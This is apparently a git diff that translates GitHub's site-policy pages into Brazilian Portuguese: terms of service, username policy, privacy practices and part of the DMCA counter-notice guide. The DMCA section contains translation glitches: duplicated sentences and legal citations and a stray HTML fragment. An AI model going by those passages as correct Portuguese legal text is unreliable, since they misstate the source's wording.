+Você concorda em nos indenizar, defender-nos e nos manter a parte de e contra quaisquer reivindicações, responsabilidades e despesas, incluindo honorários de advogados, resultantes do seu uso do Site e do Serviço, incluindo, mas não limitado, a sua violação deste Contrato, desde que o GitHub (1) forneça prontamente a você notificação por escrito com a reivindicação, demanda, fato ou procedimento; (2) dê a você o controle exclusivo da defesa e atendimento da reivindicação, demanda, fato ou procedimento (desde que você não possa resolver qualquer reivindicação, demanda, fato ou procedimento, a menos que a resolução libere incondicionalmente o GitHub de toda responsabilidade); e (3) forneça a você assistência razoável, às suas custas.
 
-## Q. Changes to These Terms
-**Short version:** *We want our users to be informed of important changes to our terms, but some changes aren't that important — we don't want to bother you every time we fix a typo. So while we may modify this agreement at any time, we will notify users of any material changes and give you time to adjust to them.*
+## Q. Alterações nestes termos
+**Versão curta:** *Queremos que nossos usuários sejam informados de alterações importantes em nossos termos, mas algumas alterações não são tão importantes — não queremos lhe incomodar toda vez que consertamos um erro de digitação. Portanto, embora possamos modificar este contrato a qualquer momento, notificaremos os usuários de quaisquer alterações que afetem seus direitos e lhe daremos tempo para se ajustar a elas.*
 
-We reserve the right, at our sole discretion, to amend these Terms of Service at any time and will update these Terms of Service in the event of any such amendments. We will notify our Users of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on our Website or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, your continued use of the Website constitutes agreement to our revisions of these Terms of Service. You can view all changes to these Terms in our [Site Policy](https://github.com/github/site-policy) repository.
+Nós nos reservamos o direito, a nosso exclusivo critério, de alterar estes Termos de Serviço a qualquer momento e atualizar estes Termos de Serviço no caso de tais alterações. Notificaremos nossos Usuários sobre alterações materiais neste Contrato, tais como aumentos de preço, pelo menos 30 dias antes das alterações entrarem em vigor, postando uma notificação em nosso Website ou enviando um e-mail para o endereço de e-mail principal especificado em sua conta do GitHub. O uso contínuo do Serviço pelo Cliente após esses 30 dias constitui concordância com essas revisões deste Contrato. Para quaisquer outras modificações, seu uso contínuo do Website constitui acordo com nossas revisões destes Termos de Serviço. Você pode ver todas as alterações nestes Termos Adicionais em nosso repositório [Política do Site](https://github.com/github/site-policy).
 
-We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Website (or any part of it) with or without notice.
+Nós nos reservamos o direito de, a qualquer momento e de vez em quando, modificar ou descontinuar, temporariamente ou permanentemente, o Site (ou qualquer parte dele) com ou sem aviso prévio.
 
-## R. Miscellaneous
+## R. Disposições Gerais
 
-### 1. Governing Law
-Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California.
+### 1. Lei Governamental
+Exceto se a lei aplicável prever o contrário, este Contrato entre você e o GitHub e qualquer acesso ou uso do Site ou do Serviço são regidos pelas leis federais dos Estados Unidos da América e pelas leis do Estado da Califórnia, sem ter em conta as disposições em matéria de conflito de leis. Você e o GitHub aceitam submeterem-se à jurisdição exclusiva e aos tribunais localizados na Cidade e no Condado de São Francisco, Califórnia.
 
-### 2. Non-Assignability
-GitHub may assign or delegate these Terms of Service and/or the [GitHub Privacy Statement](https://github.com/site/privacy), in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section D.4. You may not assign or delegate any rights or obligations under the Terms of Service or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void.
+### 2. Não cessão
+O GitHub pode ceder ou delegar esses Termos de Serviço e/ou a [Declaração de Privacidade do GitHub](https://github.com/site/privacy), no todo ou em parte, para qualquer pessoa ou entidade em qualquer momento com ou sem seu consentimento, incluindo a concessão de licença na seção D.4. Você não pode ceder ou delegar quaisquer direitos ou obrigações nos Termos de Serviço ou Declaração de Privacidade sem nosso consentimento prévio por escrito, e qualquer atribuição e delegação não autorizada por você é nula.
 
-### 3. Section Headings and Summaries
-Throughout this Agreement, each section includes titles and brief summaries of the following terms and conditions. These section titles and brief summaries are not legally binding.
+### 3. Cabeçalhos e Resumos da Seção
+Ao longo deste Contrato, cada seção inclui títulos e resumos breves dos seguintes termos e condições. Estes títulos das seções e resumos breves não são juridicamente vinculativos.
 
-### 4. Severability, No Waiver, and Survival
-If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement.
+### 4. Independência das disposições contratuais, Irrenunciabilidade e Sobrevivência
+Se alguma parte deste Contrato for considerada inválida ou inaplicável, essa parte do Contrato será interpretada para refletir a intenção original das partes. As partes restantes permanecerão em pleno vigor e efeito. Qualquer falha da parte do GitHub em aplicar qualquer disposição deste Contrato não será considerada uma derrogação do nosso direito de impor tal disposição. Nossos direitos ao abrigo deste Contrato sobreviverão a qualquer rescisão deste Contrato.
 
-### 5. Amendments; Complete Agreement
-This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version in accordance with [Section Q. Changes to These Terms](#q-changes-to-these-terms). These Terms of Service, together with the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements.
+### 5. Alterações; Contrato integral
+Este Contrato só pode ser modificado por uma alteração escrita assinada por um representante autorizado do GitHub, ou pela postagem pelo GitHub de uma versão revisada de acordo com [Seção Q. Alterações nestes Termos](#q-changes-to-these-terms). Estes Termos de Serviço, juntamente com a Declaração de Privacidade do GitHub, representam a declaração completa e exclusiva do acordo entre você e nós. Este Contrato substitui qualquer proposta ou acordo prévio oral ou escrito, e quaisquer outras comunicações entre você e o GitHub relacionadas com o assunto desses termos, incluindo quaisquer acordos de confidencialidade ou de não divulgação.
 
-### 6. Questions
-Questions about the Terms of Service? [Contact us](https://support.github.com/contact?tags=docs-policy).
+### 6. Perguntas
+Perguntas sobre os Termos de Serviço? [Fale conosco](https://support.github.com/contact?tags=docs-policy).
diff --git a/translations/pt-BR/content/github/site-policy/github-username-policy.md b/translations/pt-BR/content/github/site-policy/github-username-policy.md
index 84c19fe327..7f15ca63e1 100644
--- a/translations/pt-BR/content/github/site-policy/github-username-policy.md
+++ b/translations/pt-BR/content/github/site-policy/github-username-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Username Policy
+title: Política de nome de usuário do GitHub
 redirect_from:
   - /articles/name-squatting-policy
   - /articles/github-username-policy
@@ -10,18 +10,18 @@ topics:
   - Legal
 ---
 
-GitHub account names are available on a first-come, first-served basis, and are intended for immediate and active use.
+Os nomes das contas do GitHub são fornecidos pela ordem de chegada e são destinados ao uso imediato e ativo.
 
-## What if the username I want is already taken?
+## E se o nome de usuário que eu quero já estiver sendo usado?
 
-Keep in mind that not all activity on GitHub is publicly visible; accounts with no visible activity may be in active use.
+Tenha em mente que nem todas as atividades no GitHub são publicamente visíveis; contas sem atividade visível podem estar em uso ativo.
 
-If the username you want has already been claimed, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you identify a desirable username still available.
+Se o nome de usuário que deseja já tiver sido reclamado, considere outros nomes ou variações. Usar um número, hífen ou uma ortografia alternativa pode ajudá-lo a identificar um nome de usuário desejável ainda disponível.
 
-## Trademark Policy
+## Política de marca registrada
 
-If you believe someone's account is violating your trademark rights, you can find more information about making a trademark complaint on our [Trademark Policy](/articles/github-trademark-policy/) page.
+Se você acredita que a conta de alguém está violando os seus direitos de marca registrada, encontre mais informações sobre reclamações de violação de marca registrada em nossa página de [Política de marca registrada](/articles/github-trademark-policy/).
 
-## Name Squatting Policy
+## Política de uso indevido de nome
 
-GitHub prohibits account name squatting, and account names may not be reserved or inactively held for future use. Accounts violating this name squatting policy may be removed or renamed without notice. Attempts to sell, buy, or solicit other forms of payment in exchange for account names are prohibited and may result in permanent account suspension.
+O GitHub proíbe a ocupação de nomes de contas. Além disso, os nomes das contas não podem ser reservados ou mantidos inativos para uso futuro. As contas que violam essa política de uso indevido de nome podem ser removidas ou renomeadas sem aviso prévio. Tentativas de vender, comprar ou solicitar outras formas de pagamento em troca de nomes de conta são proibidas e podem resultar na suspensão permanente da conta.
diff --git a/translations/pt-BR/content/github/site-policy/global-privacy-practices.md b/translations/pt-BR/content/github/site-policy/global-privacy-practices.md
index 4d12086d81..40126e0bc5 100644
--- a/translations/pt-BR/content/github/site-policy/global-privacy-practices.md
+++ b/translations/pt-BR/content/github/site-policy/global-privacy-practices.md
@@ -1,5 +1,5 @@
 ---
-title: Global Privacy Practices
+title: Práticas de privacidade global
 redirect_from:
   - /eu-safe-harbor
   - /articles/global-privacy-practices
@@ -10,66 +10,66 @@ topics:
   - Legal
 ---
 
-Effective date: July 22, 2020
+Data de entrada em vigor: 22 de Julho de 2020
 
-GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. 
+O GitHub fornece o mesmo padrão alto de proteção de privacidade — conforme descrito na [Declaração de privacidade](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)do GitHub — para todos os nossos usuários e clientes em todo o mundo, independentemente do seu país de origem ou local. Além disso, o GitHub orgulha-se do nível de aviso prévio, escolha, responsabilidade, segurança, integridade de dados, acesso e recursos que fornecemos.
 
-GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
+O GitHub também está em conformidade com certos quadros jurídicos relacionados à transferência de dados do Espaço Econômico Europeu, Reino Unido, e Suíça (coletivamente, denominada “UE”) para os Estados Unidos. Quando o GitHub se envolve em tais transferências, ele conta com as Cláusulas Contratuais Padrão como mecanismo legal para ajudar a garantir que seus direitos e proteções acompanhem as suas informações pessoais. Além disso, a GitHub é certificado nos Quadros de Proteção à Privacidade entre UE e EUA e Suíça e EUA. Para saber mais sobre as decisões da Comissão Europeia sobre a transferência internacional de dados, veja este artigo no [site da Comissão Europeia](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
 
-## Standard Contractual Clauses
+## Cláusulas Contratuais Padrão
 
-GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. 
+O GitHub conta com as Cláusulas Contratuais Padrão aprovadas pela Comissão Europeia (“SCCs”) como um mecanismo legal para transferências de dados da UE. Os SCCs são compromissos contratuais entre empresas que transferem dados pessoais, vinculando-as a proteger a privacidade e a segurança desses dados. O GitHub adotou as SCCs para que os fluxos de dados necessários possam ser protegidos quando transferidos para fora da UE para países cuja proteção de dados não é considerada adequada pela Comissão Europeia, incluindo a proteção de transferências de dados para os Estados Unidos.
 
-To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). 
+Para saber mais sobre as SCCs, consulte este artigo no [site da Comissão Europeia](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en).
 
-## Privacy Shield Framework
+## Escudo de Defesa da Privacidade
 
-GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18.
+O GitHub é certificado nas estruturas do Escudo de Privacidade Privacidade entre a UE e os EUA e entre a Suíça e os EUA e nos compromissos que implicam, embora o GitHub não dependa da Estrutura do Escudo de Privacidade entre a UE e os EUA como base jurídica para transferências de informações pessoais à luz da decisão do Tribunal de Justiça da UE no processo C-311/18.
 
-The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of User Personal Information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process User Personal Information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage.
+Os Estruturas do Escudo de Privacidade entre a UE e os EU e entre a Suíça e os EUA são estabelecidas pelo Departamento do Comércio dos EUA no que se refere à coleta, uso, e retenção de Informações Pessoais do Usuário transferidas da União Europeia, Reino Unido e Suíça para os Estados Unidos. O GitHub certificou ao Departamento do Comércio que cumpre com os princípios de Defesa da Privacidade. Se nossos fornecedores ou afiliados processarem as Informações Pessoais do Usuário em nosso nome, de forma inconsistente com os princípios do Escudo de Proteção de Privacidade, o GitHub permanecerá responsável, a menos que provemos que não somos responsáveis por este evento causador do dano.
 
-For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/).
+Para fins das nossas certificações nos termos das Estruturas do Escudo de Privacidade, se houver qualquer conflito entre os termos nestas Práticas Globais de Privacidade e os Princípios da Proteção à Privacidade, prevalecerão os Princípios da Proteção à Privacidade. Para saber mais sobre o programa do Escudo de Proteção da Privacidade e consultar nossa certificação, acesse o site do [Escudo de Proteção da Privacidade](https://www.privacyshield.gov/).
 
-The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways:
+As Estruturas do Escudo de Privacidade têm por base sete princípios e o GitHub cumpre-os das seguintes maneiras:
 
-- **Notice**
-  - We let you know when we're collecting your personal information.
-  - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data.
-  - We let you know that we're participating in the Privacy Shield framework, and what that means to you.
-  - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy.
-  - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute.
-  - We let you know that we are subject to the jurisdiction of the Federal Trade Commission.
-- **Choice**
-  - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission.
-  - We will provide you with reasonable mechanisms to make your choices.
-- **Accountability for Onward Transfer**
-  - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it.
-  - We share only the amount of data with our third party vendors as is necessary to complete their transaction.
-- **Security**
-  - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security).
-- **Data Integrity and Purpose Limitation**
-  - We only collect your data for the purposes relevant for providing our services to you.
-  - We collect as little information about you as we can, unless you choose to give us more.
-  - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use.
+- **Aviso**
+  - Nós informamos quando estamos coletando suas informações pessoais.
+  - Nós deixamos você saber, em nossa [Declaração de Privacidade](/articles/github-privacy-statement/), que objetivos temos ao coletar e usar suas informações, com quem compartilhamos essas informações e sob quais restrições e quais acessos você tem aos seus dados.
+  - Nós deixamos você saber que estamos participando da Estrutura de Defesa da Privacidade, e o que isso significa para você.
+  - Nós temos um {% data variables.contact.contact_privacy %} onde você pode entrar em contato conosco com perguntas sobre sua privacidade.
+  - Nós o deixamos consciente de seu direito de invocar arbitragem vinculante, desde que sem nenhum custo para você, no caso improvável de uma disputa.
+  - Nós o informamos de que estamos sujeitos à jurisdição da Comissão Federal de Comércio.
+- **Escolha**
+  - Deixamos você escolher o que acontece com seus dados. Antes de usarmos seus dados para um propósito diferente daquele para o qual você os concedeu, nós o avisaremos e obteremos sua permissão.
+  - Forneceremos a você mecanismos razoáveis para fazer as suas escolhas.
+- **Responsabilidade por Transferência Subsequente**
+  - Quando transferimos suas informações para fornecedores terceirizados que estão processando-as em nosso nome, estamos apenas enviando seus dados para terceiros, sob contrato conosco, que irá protegê-las consistentemente com nossa Declaração de Privacidade. Quando transferimos seus dados para nossos fornecedores sob a Defesa da Privacidade, continuamos responsáveis por eles.
+  - Compartilhamos apenas a quantidade necessária de dados com nossos fornecedores terceirizados para concluir sua transação.
+- **Segurança**
+  - Protegeremos suas informações pessoais com [todas as medidas de segurança razoáveis e apropriadas](https://github.com/security).
+- **Integridade de dados e Limitação de propósito**
+  - Nós coletamos seus dados apenas para os fins relevantes para fornecermos nossos serviços a você.
+  - Coletamos o mínimo de informações sobre você que pudermos, a menos que você escolha nos fornecer mais informações.
+  - Tomamos medidas razoáveis para garantir que os dados que temos sobre você sejam precisos, atuais e confiáveis para o seu uso pretendido.
 - **Access**
-  - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there.
-- **Recourse, Enforcement and Liability**
-  - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest.
-  - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
-  - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made.
-  - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment.
+  - Você sempre poderá acessar os dados que temos sobre você em seu [perfil do usuário](https://github.com/settings/profile). Você pode acessar, atualizar, alterar ou excluir suas informações lá.
+- **Recurso, Lei aplicável e Responsabilidade**
+  - Se você tem dúvidas sobre nossas práticas de privacidade, você pode nos contatar com o nosso {% data variables.contact.contact_privacy %} e responderemos dentro de 45 dias, no máximo.
+  - No caso improvável de uma disputa que não podemos resolver, você tem acesso à arbitragem vinculativa sem nenhum custo para você. Por favor, consulte nossa [Declaração de Privacidade](/articles/github-privacy-statement/) para obter mais informações.
+  - Realizaremos auditorias regulares de nossas práticas de privacidade relevantes para verificar o cumprimento das promessas que fizemos.
+  - Exigimos que nossos funcionários respeitem compromissos de privacidade, e a violação de nossas políticas de privacidade está sujeita a ações disciplinares, incluindo até mesmo a rescisão do contrato de emprego.
 
 
-### Dispute resolution process
+### Processo de resolução de conflitos
 
-As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts.
+Conforme explicado na seção [Resolver reclamações](/github/site-policy/github-privacy-statement#resolving-complaints) da nossa [Declaração de privacidade](/github/site-policy/github-privacy-statement), nós o incentivamos a entrar em contato conosco, caso tenha uma reclamação relacionada ao Escudo de Privacidade (ou alguma reclamação relacionada à privacidade em geral). Para quaisquer reclamações que não possam ser resolvidas com o GitHub diretamente, selecionamos cooperar com a Autoridade de Proteção de Dados relevante da UE ou com o conselho criado pelas autoridades europeias de proteção de dados para a resolução de conflitos com indivíduos da UE, e com o Comissário Federal de Proteção e Informação de Dados (FDPIC) para a resolução de conflitos com indivíduos da Suíça. Se você precisar de direcionamento quanto aos contatos da sua autoridade de proteção de dados, entre em contato conosco.
 
-Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority.
+Se for residente de um estado-membro da UE, você terá o direito de apresentar queixa junto à autoridade de supervisão local.
 
-### Independent arbitration
+### Arbitragem independente
 
-Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose.
+Em determinadas circunstâncias, indivíduos da UE, da Área Econômica Europeia (AEE), da Suíça e do Reino Unido podem convocar arbitragem vinculativa para o Escudo de Proteção da Privacidade como último recurso, caso nenhuma das outras formas de resolução de conflitos tenha êxito. Para saber mais sobre esse método de resolução e sua disponibilidade para você, leia mais sobre o [Escudo de Proteção da Privacidade](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). A arbitragem não é obrigatória; trata-se de uma ferramenta disponível para seu uso.
 
-We are subject to the jurisdiction of the US Federal Trade Commission (FTC).
-  
-Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
+Estamos sujeitos à jurisdição da Comissão Federal do Comércio dos EUA (FTC).
+
+Por favor, consulte nossa [Declaração de Privacidade](/articles/github-privacy-statement/) para obter mais informações.
diff --git a/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md b/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
index e2dbb93740..538ab12dca 100644
--- a/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
+++ b/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Counter Notice
+title: Guia de envio do contra-aviso de retirada DMCA
 redirect_from:
   - /dmca-counter-notice-how-to
   - /articles/dmca-counter-notice-how-to
@@ -11,72 +11,58 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a counter notice to a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+Este guia descreve as informações de que o GitHub precisa para processar um contra-aviso em uma solicitação de retirada DMCA. Se você tiver dúvidas mais gerais sobre o que é a DMCA ou como o GitHub processa solicitações de retirada DMCA, por favor, reveja nossa [Política de Aviso de Retirada DMCA](/articles/dmca-takedown-policy).
 
-If you believe your content on GitHub was mistakenly disabled by a DMCA takedown request, you have the right to contest the takedown by submitting a counter notice. If you do, we will wait 10-14 days and then re-enable your content unless the copyright owner initiates a legal action against you before then. Our counter-notice form, set forth below, is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+Se você acredita que seu conteúdo no GitHub foi erroneamente desabilitado por uma solicitação de retirada DMCA, você tem o direito de contestá-la, enviando um contra-aviso. Se o fizer, esperaremos entre 10 a 14 dias, e então reativaremos seu conteúdo, a menos que o proprietário dos direitos autorais inicie uma ação judicial contra você antes disso. Nossa forma de contra-aviso descrita abaixo é consistente com o formulário sugerido pelo estatuto DMCA, que pode ser encontrado no site oficial do Escritório de Direitos Autorais dos Estados Unidos: <https://www.copyright.gov>. Site oficial do escritório de direitos autorais: <https://www.copyright.gov>.
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como em todas as questões jurídicas, é sempre melhor consultar um profissional sobre suas dúvidas ou situação específica. Incentivamos a fazê-lo antes de tomar quaisquer medidas que possam impactar seus direitos. Este guia não é um aconselhamento jurídico e não deve ser tomado como tal.
 
-## Before You Start
+## Antes de começar
 
-***Tell the Truth.***
-The DMCA requires that you swear to your counter notice *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability—that is, you could get sued for money damages.
+***Diga a verdade.*** A DMCA requer que você jure pelos fatos relatados no seu contra-aviso, *sob pena de perjúrio*. Nos Estados Unidos, é crime federal mentir intencionalmente numa declaração juramentada. (*Veja* [Código dos EUA, Título 18, Seção 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm). Código, Título 18, Seção 1621</a>.) (*Veja* [Código dos EUA, Título 18, Seção 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) O envio de informações falsas também pode resultar em responsabilidade civil — ou seja, você poderia ser processado por danos financeiros.
 
-***Investigate.***
-Submitting a DMCA counter notice can have real legal consequences. If the complaining party disagrees that their takedown notice was mistaken, they might decide to file a lawsuit against you to keep the content disabled. You should conduct a thorough investigation into the allegations made in the takedown notice and probably talk to a lawyer before submitting a counter notice.
+***Investigação.*** Enviar um contra-aviso DMCA pode ter consequências legais reais. Se a parte reclamante discordar que o aviso de retirada dela foi um erro, ela pode decidir instaurar uma queixa contra você para manter o conteúdo desativado. Você deve conduzir uma investigação exaustiva sobre as alegações feitas no aviso de retirada e, provavelmente, falar com um advogado antes de enviar um contra-aviso.
 
-***You Must Have a Good Reason to Submit a Counter Notice.***
-In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([U.S. Code, Title 17, Section 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Whether you decide to explain why you believe there was a mistake is up to you and your lawyer, but you *do* need to identify a mistake before you submit a counter notice. In the past, we have received counter notices citing mistakes in the takedown notice such as: the complaining party doesn't have the copyright; I have a license; the code has been released under an open-source license that permits my use; or the complaint doesn't account for the fact that my use is protected by the fair-use doctrine. Of course, there could be other defects with the takedown notice.
+***Você precisa ter uma boa razão para enviar um contra-aviso.*** Para registrar um contra-aviso, você deve ter "o entendimento, de boa-fé, de que o material foi removido ou desabilitado como resultado de erro ou identificação incorreta do material a ser removido ou desabilitado". ([U.S. Código, Título 17, Seção 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) ([Código EUA, Título 17, Seção 512(g)](http://www.copyright.gov/title17/92chap5.html#512)) A decisão de explicar por que você acredita que houve um erro depende de você e de seu advogado, mas você *realmente* precisa identificar um erro antes de enviar um contra-aviso. No passado, recebemos contra-avisos que citavam erros no aviso de retirada, tais como: a parte reclamante não possui os direitos de autor; eu tenho uma licença; o código foi publicado sob uma licença de código aberto que permite meu uso; ou a reclamação não conta o fato de que meu uso está protegido pela doutrina de uso justo. É claro que poderiam existir outros defeitos em relação ao aviso de retirada.
 
-***Copyright Laws Are Complicated.***
-Sometimes a takedown notice might allege infringement in a way that seems odd or indirect. Copyright laws are complicated and can lead to some unexpected results. In some cases a takedown notice might allege that your source code infringes because of what it can do after it is compiled and run. For example:
-  - The notice may claim that your software is used to [circumvent access controls](https://www.copyright.gov/title17/92chap12.html) to copyrighted works.
-  - [Sometimes](https://www.copyright.gov/docs/mgm/) distributing software can be copyright infringement, if you induce end users to use the software to infringe copyrighted works.
-  - A copyright complaint might also be based on [non-literal copying](https://en.wikipedia.org/wiki/Substantial_similarity) of design elements in the software, rather than the source code itself — in other words, someone has sent a notice saying they think your *design* looks too similar to theirs.
+***As leis de direitos autorais são complicadas.*** Às vezes, um aviso de retirada pode alegar violação de uma forma que parece atípica ou indireta. As leis de direitos autorais são complicadas e podem dar origem a alguns resultados inesperados. Em alguns casos, um aviso de retirada pode alegar que o seu código-fonte infringe os direitos por causa do que ele pode fazer após ser compilado e executado. Por exemplo:
+  - O aviso pode afirmar que seu software é usado para [contornar controles de acesso](https://www.copyright.gov/title17/92chap12.html) de trabalhos protegidos por direitos autorais.
+  - [Algumas vezes,](https://www.copyright.gov/docs/mgm/) o software de distribuição pode violar direitos autorais, se você induzir os usuários finais a usarem o software para infringir trabalhos protegidos por direitos autorais.
+  - Uma reclamação de direitos autorais também pode ser baseada na [cópia não literal](https://en.wikipedia.org/wiki/Substantial_similarity) de elementos do design no software, ao invés do próprio código fonte — em outras palavras, alguém enviou um aviso dizendo que eles acham que o seu *design* se parece com o deles.
 
-These are just a few examples of the complexities of copyright law. Since there are many nuances to the law and some unsettled questions in these types of cases, it is especially important to get professional advice if the infringement allegations do not seem straightforward.
+Esses são apenas alguns exemplos da complexidade da legislação em direitos autorais. Considerando que há muitas nuances na lei e algumas questões por resolver nesses tipos de casos, é especialmente importante obter aconselhamento profissional se as alegações por infração não parecerem simples.
 
-***A Counter Notice Is A Legal Statement.***
-We require you to fill out all fields of a counter notice completely, because a counter notice is a legal statement — not just to us, but to the complaining party. As we mentioned above, if the complaining party wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain you from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued (and you consent to that in the counter notice).
+***Um contra-aviso é uma declaração legal.*** Exigimos que você preencha todos os campos de um contra-aviso, porque um contra-aviso é uma declaração legal — não apenas para nós, mas para a parte reclamante. Conforme mencionado acima, se a parte reclamante desejar manter o conteúdo desabilitado após receber um contra-aviso, ela precisará iniciar uma ação na justiça em busca de uma decisão judicial para impedir você de continuar uma atividade infratora relacionada ao conteúdo no GitHub. Em outras palavras, você pode ser processado (e você concorda com isso no contra-aviso).
 
-***Your Counter Notice Will Be Published.***
